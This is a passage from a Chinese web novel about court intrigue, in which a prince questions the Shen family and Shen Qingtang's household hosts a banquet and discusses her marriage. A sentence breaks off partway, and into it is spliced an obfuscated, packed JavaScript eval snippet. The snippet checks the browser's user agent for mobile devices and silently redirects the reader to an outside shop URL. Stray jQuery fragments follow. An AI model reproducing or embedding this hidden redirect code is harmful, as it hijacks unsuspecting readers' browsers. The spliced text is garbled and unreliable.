“沈大人的夫人之前可是在西南养病?”
“是夫人陪着清棠在西南养病,清棠从小身子骨就不好,前些日子又病了一场……”
顾昀总觉得哪里奇怪,西南可是有好几个地方,这般说法就像是在遮掩什么似的。
“在西南何处?”顾昀接着问道,又觉得这样有些太过明显,“沈大人知道的,我母妃也是从西南那边过来的。”
“在溪的娘家经商,就在西南一带活动,偶尔也会换到其他地方,所以旁人问起,我们也只说在西南,省的解释那么多。”
沈玠这样说,顾昀也挑不出毛病,他此前从未听说过沈玠的夫人家里是经商的,但似乎也能理解,士农工商,商人出身算不得出身好,不愿四处说也是可以理解的。
“上次沈小姐让我看的那块玉石怎么不见了?那上面雕着的东西很是别致,我还没见过。”
“那丫头想一出是一出的,那玉石看腻了,就让人搬走了。”
问来问出,顾昀最后还是什么都没问出来,他在心里暗骂着沈玠这个老狐狸,说话滴水不漏的。
说起来,沈玠也不像是知道他要问什么的样子,但偏偏就这样,都让他找不出漏洞。
他派到沈府打探的人只说府里的确多了一位夫人,再没见到有别的人出现。
他不信邪,今日借着感谢沈玠对自己的照顾这个由头,登门拜访,却还是一句有用的东西也没问出来。
沈玠这老狐狸不是想和自己结姻亲吗?怎么也不见他将他女儿叫过来。
当然是因为沈清棠今日忙着和顾蓁逛街去了。
顾蓁一直记挂着她身体好了吗,听说她娘亲回来了,今日还特意送了礼过来,也是抱着顺路探望一下沈清棠的想法。
没想到沈清棠病好了,还在给自己写信,她心下一喜,觉得沈清棠还是记挂着自己的,便约着她一起出府去,沈清棠自然高高兴兴地应允,还说她生病时忽视了顾蓁,今日要请客赔罪。
顾蓁笑着地说好:“要好好敲诈你一顿才是,我今日可是要点贵的!清棠的钱包可受得了。”
“管够!”
至于顾昀是何人,沈清棠早抛到脑后了。
但顾昀最终还是见到了沈清棠,因为他今日留在沈府吃饭,沈玠一高兴,还和他喝了点小酒,碰巧沈清棠从福满楼带了些吃食回来,给他们添了几道下酒菜。
见沈玠越喝越兴奋,沈清棠让人将酒撤走了:“父亲醉了,娘亲带着他回去休息吧。”
“我送殿下出去。”
她看向顾昀:“殿下可还能自己走路?”
顾昀脸上的红晕实在太明显,她在心里祈祷着顾昀还能自己走路,这样事情就好办了许多,不然她还要让人去收拾一间院子出来,让顾昀留宿在沈府,她是不希望顾昀在沈府久留,要是碰见了婆婆,她之前的好一番折腾可就白费了。
雁书今日陪着顾昀一起来的沈府,听见沈清棠的话,他连忙上前扶着自家殿下,那一副生怕沈清棠上手的样子,看的沈清棠一脸不解。
雁书在心里苦笑,自家殿下之前的猜测可是没避着自己,他常常念叨着沈玠要和他结姻亲,此事千万不能成了。
虽说大盛朝民风开放,可是殿下要是醉酒倒在了沈家小姐身上可是说不清了。
沈府很大,沈清棠特意送了顾昀出门,只是因为她不想让顾昀撞见婆婆。婆婆又不是什么囚犯,自然不可能每天就待在院子里不出来。
这个顾昀又见过婆婆,要是撞见婆婆她不好糊弄过去,所以为了妥当起见,她亲自送了顾昀出门,
终于将人打走了。
今日和顾蓁逛了许久,她腿酸得很,沐浴后将夏荷叫进来给自己揉腿。
她趴在床上看着话本子,感叹:“要是每日都这样就好了……哪儿也不用去,我就在家看着话本子,夏荷给我揉腿,秋月在旁边喂我吃食,美哉美哉!”
沈清棠的想法的确很美好,只是第二天秋月就带来了新消息。
“影二受伤了。”
“怎么回事?”
“影二想试着探一探宫里的某处宫殿,岂料到那宫殿竟还有一个高手守着,他一时不备,被那人刺伤了,所幸无性命之忧。”
“人没事就好,让影卫不要再试着去打探宫里的事了,就等着暗桩传消息就好。”她沉默片刻,又问道,“那是谁的宫殿。”
“影二说应该是已故的贤妃的宫殿。”
所有的一切逐渐连成一个完整的圆,跟钥匙有关的一切,都是这个圆上的某一部分。
沈清棠不敢大意对待,影卫里的每一个人都是她培养了很久的,她不愿他们不明不白地折损在宫里,所以在宫里找东西这件事,应当就此打住为妙。
这件事只能算一个小小的波澜,丝毫不影响沈府宴会的进行。
沈府很久没有这般闹热过了,接连登门的宾客,男客由沈玠招待着,女宾客就交给了沈在溪。
“沈夫人竟这般貌美,完全看不出沈夫人有个年芳十八的女儿……”
“是啊,沈夫人,你这是怎么保养的,真让人眼红。”
“我都要嫉妒沈夫人了,夫君又这么爱重自己,自己还这么漂亮又贤惠。”
奉承的话从这些夫人嘴里不要钱一般地往外蹦,听得沈清棠都觉得头大,连忙开口解救沈在溪:“各位夫人,不妨尝一尝这玫瑰茶?这是母亲自己晾晒的玫瑰干花,喝起来别有一番风味。”
沈玠位高权重,这些夫人都是抱着能够讨好沈在溪的想法来的,若是能抱上沈在溪的大腿,自家夫君说不定在仕途上,能够有个新方向。
此刻听到沈清棠说这玫瑰茶里的花是沈在溪亲手晒的,恨不得将这杯玫瑰花茶夸出一朵花来。
“这茶回味中带着玫瑰的香气,好喝极了,沈夫人不妨教教我们这玫瑰花该如何晾晒,得闲,我们也能在家做做。”
这话题比先前的话题更能聊得起来,于是沈在溪就和她们聊起了如何选花、摘花、什么天气晒花,如何让花晒了之后还能保持漂亮的颜色。
这些夫人本只想捧一下沈在溪,但听沈在溪说的头头是道,还真的听了进去。
沈夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289580|152091||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人果然厉害极了,诸如此类的夸赞就没有停过。
沈在溪被夸的有些不好意思,但也不愿掉链子,撑起精神和各家夫人话家常。
随后话题不知如何转移到沈清棠身上了。
“令千金的婚事可有什么想法?”
沈在溪被问的一愣,一时不知从何作答。
沈清棠的婚事,她和沈玠都还未考虑过,但似乎京城中的女子从及笄开始,家里人就着手开始议婚事了,但沈清棠自小就是个有主意的,定不会由着她和沈玠做主,她也没想过要在沈清棠的婚事上做主。
成亲是一辈子的事,成亲的对象还是得让女儿自己决定,盲婚哑嫁不可取。
这日宴会结束,她拉着沈玠细细谈着此事,好在沈玠也是个开明的父亲,也和她一样,觉得这事儿得看沈清棠自己。
不过沈玠考虑的更多,第二日下朝回家,他特意将沈清棠叫到书房里,跟她聊着此事。
“如果你的婚事想自己做主,你不妨先定下来,你也知道,圣上难免会拿你的婚事作筏子,指不定就给你赐婚了。”
“女儿知道了。”
沈玠的话的确提醒了沈清棠,京城不比蜀地,还有个圣上在上面顶着,又是个爱乱点鸳鸯谱的圣上,为了他自己的利益,这些朝臣家里儿女的婚事,说不定就要被他拿来利用一番。
但沈清棠也想到了法子,反正她在蜀地生活了十四年,冒出来个私定终身的人,也不奇怪。
其实这也是沈清棠身为沈玠的女儿,迟迟没有人上门求亲的原因。
沈清棠毕竟在西南待过那么久,不少人心里还是觉得膈应,不想让自己的宝贝儿子娶这样一位女子回家。
这对沈清棠来说是好事,也是阻扰圣上赐婚的由来。
沈玠的女儿,若是许给太子,就是将沈玠牢牢绑在了皇家这条船上,但一来圣上还没有下定决定立太子,二来也是因为沈清棠在西南待了太多年,圣上不介意沈清棠曾经是否和人定过婚,有过一段情缘,他更在乎沈清棠能不能当好太子妃。
太子妃不能是不明事理的人。
关于立太子,从四皇子行弱冠礼开始,就有人上奏请立太子,凭心而论,几位皇子都还算不错,能担得起重任,但总归和圣上心中期许的有些距离。
从他近来频频委以顾昀重任来看,百官心中的猜测是有几分道理的。
圣上想立五皇子为太子。
兴许是顾忌着五皇子的身体,圣上迟迟做不了决定。
从大皇子到四皇子,这四位皇子都是早早入了朝堂,领了差事,但行事的水准只能说堪堪处于及格的水准,算不上有多么优秀。
而五皇子,从春闱舞弊案开始,行事果决,下得去狠心,又能及时收手,从为君之道来看,顾昀比之另外四位皇子,的确是略胜一筹。
顾昀并不知晓,想让他和沈家结姻亲的不是沈玠,而是自己的父皇,他还在派人打探着大长老的行踪。好不容易手下有人说自己看见大长老出现在了京城,结果把人跟丢了,到手的线索断了,他接连几日心情都不好。